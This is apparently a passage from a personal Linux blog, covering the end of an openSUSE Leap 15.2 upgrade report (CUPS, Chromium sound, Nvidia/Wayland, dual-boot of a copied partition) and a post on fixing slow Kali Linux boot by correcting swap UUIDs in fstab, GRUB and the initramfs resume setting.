Hint: Be a bit reluctant with changing the HW compatibility of your VMware virtual machine for two reasons: You may want the virtual image to continue running in your old 15.1 implementation, too – until you feel that Leap 15.2 is stable enough. Second reason: Changing too much of HW settings may lead to a reactivation of your Windows license key.

CUPS bug – reconfigure printers – use the CUPS packages from the printing repository

I have two printers in my network. They can be addressed both by a local configuration and via a cups server in the net, which offers a variety of queues.
The reconfiguration of the local settings were a piece of cake with YaST. The updated HP-drivers simply worked.
However, printing from my system via a CUPS server in the net and its queues did not work any more. In contrast to all previous upgrades of at least the last 4 years :-(.
It took me a while to find out that this is due to a major bug in the present CUPS version delivered by the standard Update repository of Opensuse. Use the CUPS version > 2.3.0 from the “Printing repository“.
Then your server based queues will work again!

Chromium: Problems with HW acceleration / sound from Chromium does not get upmixed on a multichannel sound card

I had some problems with Chromium. Maybe I had them already before, but I noticed them now:
I had to refrain from HW-acceleration: Whenever I changed to one of the console terminals (e.g. Ctrl-Alt-F2) and returned to the graphical terminal the Chromium user interface got totally destroyed. Not funny when you were editing a blog :-(.
In addition: Chromium sound does not get upmixed completely – the probable reason is that Chromium supports real 7.1 channel sound these days. So, stereo may remain stereo or only gets upmixed by some special soundcard setting to 4.0, 6.0 – but not by PA. Despite such
settings on my Xonar card, I had some disturbing experiences: When changing to a console terminal and back to the graphical one, the upmixing changed from 4.0 to 2.0 …. :-(. When I rebooted afterwards, the 4.0 upmixing was there again. The whole effect probably was due to an automatic activation of some onboard/oncard Nvidia HDMI sound channels during the switch to the console terminals.

Firefox sound, however, which sends a pure stereo signal to the system as, gets properly upmixed by PA to 7.1 sound and this remains stable during switches between console and graphical terminals. So, for the time being, I do not use chromium for TV streaming any longer. Maybe the Chromium developers should have a talk with the PA developer …. It seems to be a difficult problem to me – you would have to analyze that only stereo sound is coming despite a 8 channel signal. A simple workaround would be that we get a switch in the chromium browser which allows to set its operation from multichannel to stereo, only.

For those who like to experiment with “pactl” commands (like “pactl list sinks” as standard user) I would like to draw your attention to work others ave done regarding PA and upmixing:
https://gist.github.com/dex4er/8646669
https://bbs.archlinux.de/viewtopic.php?id=16093

It should be possible to write two scripts one activating a certain upmixing with pactl commands and one deactivating it again. But my time is so limited that I haven’t tried it myself, yet.

KDE Plasma, Nvidia and Wayland do not work

As with Leap 15.1, KDE and Wayland lead to a direct crash on my workstation with Nividia graphics. The system freezes. You have to enforce a reset of your PC and start a reboot. However, on a laptop with a i915 Intel driver for a CPU integrated graphics Wayland works. So, we have a clear Nvidia topic here.

After the upgrade: Make the copy of our original partition of Leap 15.1 a bootable one

If you had copied your original Leap 15.1 partition into another partition on your hard disk you may want to make it a bootable fully functional system offered as an entry in the Grub2 menu. This requires some additional efforts.

Firstly, you have to change all references to the modified UUID in the internal boot-relevant files of the moved filesystem – i.e. in the “/etc/fstab”  AND  in the “/boot/grub2/grub.cfg” there on the Leap 15.1-partition. For this purpose you must mount the copied Leap 15.1 partition on your running Leap 15.2 system and edit the entries in both files of the mounted Leap 15.1 filesystem very carefully with respect to the changed UUID (see the sections on backups above). Take care that you do not change the files on the running Leap 15.2 system. And, please, make copies of both files before you change them! You may need the original contents.

Instead ofchnaging entries in the “/boot/grub2/grub.cfg” of the Leap 15.1 copy you can also rename the “/boot/grub2/grub.conf” on the Leap 15.1 partition to something like “grub.conf_orig” (you want to keep the contents!). This gives the grub “os-prober” on you Leap 15.2 installation a chance to create correct entries regarding the address of the partition.

Then we remove the “/boot/grub2/grub.cfg” in the Leap 15.2 installation and run “grub2-mkconfig -o /boot/grub2/grub.cfg” again to give the os-prober there a chance to create valid entries. Please, cou check these entries first before you install the grub loader from your running Leap 15.2 again! If you find correct UUID or other references to the partition the you can reinstall the bootloader. I always do this with YaST. Afterwards you should be able to boot both your new Leap 15.2 and your old 15.1 installation a respective entries in the Grub2 menu. Thus we have our old Leap 15.1
installation available for comparisons.

Conclusion

An upgrade of a Linux workstation from Opensuse Leap 15.1 to Leap 15.2 brought no major problems with it. One remarkable exception is a bug in the CUPS package – for which you find a solution in form of a newer package in another Suse repository. The fact that Wayland does not work with KDE on Nvidia graphics came not unexpected – although I think its a shame for Nvidia. The same could be said about the increased power consumption of the Nvidia card.

Have fun with Leap 15.2.

Long boot time of Kali Linux after swap partition changes – swap settings for the initramfs

Posted on by

Recently, I reactivated an old KVM-based installation of Kali Linux from 2018. So, some hurdles to upgrade the Kali distribution to version 2020.4 had to be overcome. Actually, it was a mess. I had to solve multiple circle like problems with package dependencies (Python3, Ruby, special packages in the Discovery section, …). Sometimes I had to delete packages explicitly. The new Kali minimum installation and its enhancement via meta-packages contributed to the problems. In the end I also reinstalled a the Gnome desktop environment – supplemented by a few KDE applications. Now, my Kali was fully functional again. However, the remaining disk space had shrunk …

Resizing the qcow2-file for the virtual disk of the virtual machine for Kali Linux

During all the back and forth with installing meta-packages I came close to exhausting virtual disk space, before I could clean up and remove packages again (with “apt-get autoclean” and “apt-get autoremove”). The virtual hard disk was a qcow2-file in my case. For further experiments I had to expand its capacity. This could easily be done by

qemu-img resize PATH_TO_qcow2_FILE +NG

where I had to chose a suitable “N” (20). The extended file must, of course, still fit into its filesystem on the KVM host!

Extending and rearranging partitions within the Kali system

The more difficult part in my case was the rearrangement of the two partitions ( one for the “/”-fs and one for swap) on the virtual disk for my Kali guest system. I did this within the running Kali system. Bad habit; such operations are dangerous, of course, but I trusted in the abilities of gparted. An extension of a mounted “ext4”-formatted partition is in my experience no major problem as long as there is enough free space behind its current location …. But, I recommend, of course, to make a backups of your virtual machine, before you start with any potentially dangerous operations regarding the file-systems of your Linux machines.

As my old Kali installation unfortunately did not have a LVM-layout and the disk partition table was of the old MS-DOS type, I actually had to move a blocking swap partition which was located directly after the “/”-partition. Meaning: I had to delete and later recreate it at a different position. Of course, after having disabled the swap in the running Kali guest :-). The partition keeping the “/”-filesystem (ext4) could then be extended without any problems on the running system. The new swap partition afterwards got its place behind the “/”-partition. According to “gparted” everything was OK after the partition changes: Then I rebooted…

The problem: A boot time of almost 30 secs …

The next restart took about 28 secs! But the machine came up in the end – which is almost a wonder, after I understood the cause of the problem. A standard boot-process until login normally required about 4 secs, only, before my filesystem changes. A major discrepancy and a clear indications of a major problem! Looking at the “dmesg”-output I got the impression that the delay had to do with operations occurring at the very beginning of the boot process. So, I checked the “/etc/fstab”. And got a first glimpse of the cause: The entries there referred to the UUIDs of the partitions! Not unexpectedly – this is the standard these days for almost all major distributions.

So, stupid me: Of course, the UUID of the swap partition had changed during the mentioned operations! I adapted it to the new value (which I got from gparted). I also checked whether there was
any reference to the swap-partition in the Grub command line (check “/etc/default/grub” for a “resume”-parameter!) To be on the safe side I also checked the result of “update-grub” in the file “/boot/grub/grub.cfg”). I did not find any references there. So, I gladly restarted my Kali system. However, the problem had not disappeared … .

Solution: The initramfs-configuration includes an explicit setting for the swap-partition!

Now, at this point there were not many options left. I started suspecting that the initramfs had a wrong entry. Now, where do we find options regarding the swap for the initramfs on a Debian based systems? A bit of duckduckgoing pointed me to the file

/etc/initramfs-tools/conf.d/resume

And there I did find an entry like

RESUME=UUID=d222524c-5add-2fcf-82dd-4d1b7e528d0c

OK – I changed it to the new value. Then I used

update-initramfs -u

to update the initramfs. And, guess what: The problem disappeared! I got my 4 secs of boot time again.

Conclusion

Never forget to check the UUID-settings for partitions after major changes of the filesystem-layout on your disks. Do the necessary checks not only on real host systems, but also on virtualized systems. Check both the “/etc/fstab” AND the Grub2-configuration AND the initramfs-configuration for possible references to changed or moved partitions.

Off topic – but related: When copying the contents of a partition with “dd” into another partition on your hard disk, e.g. for a backup, you should also care about the fact that you have two partitions with the same UUID afterwards. This may lead to major problems for any active Grub2. Always change the UUID of the copied partition with tune2fs before any reboots. If the copied partition was a bootable one, you also take care of its “/etc/fstab”-entries and initramfs settings, if you want it to be bootable in its new place.

General warning: Whenever you move/copy partitions, write down and save the original UUIDs – you may need them in case of trouble.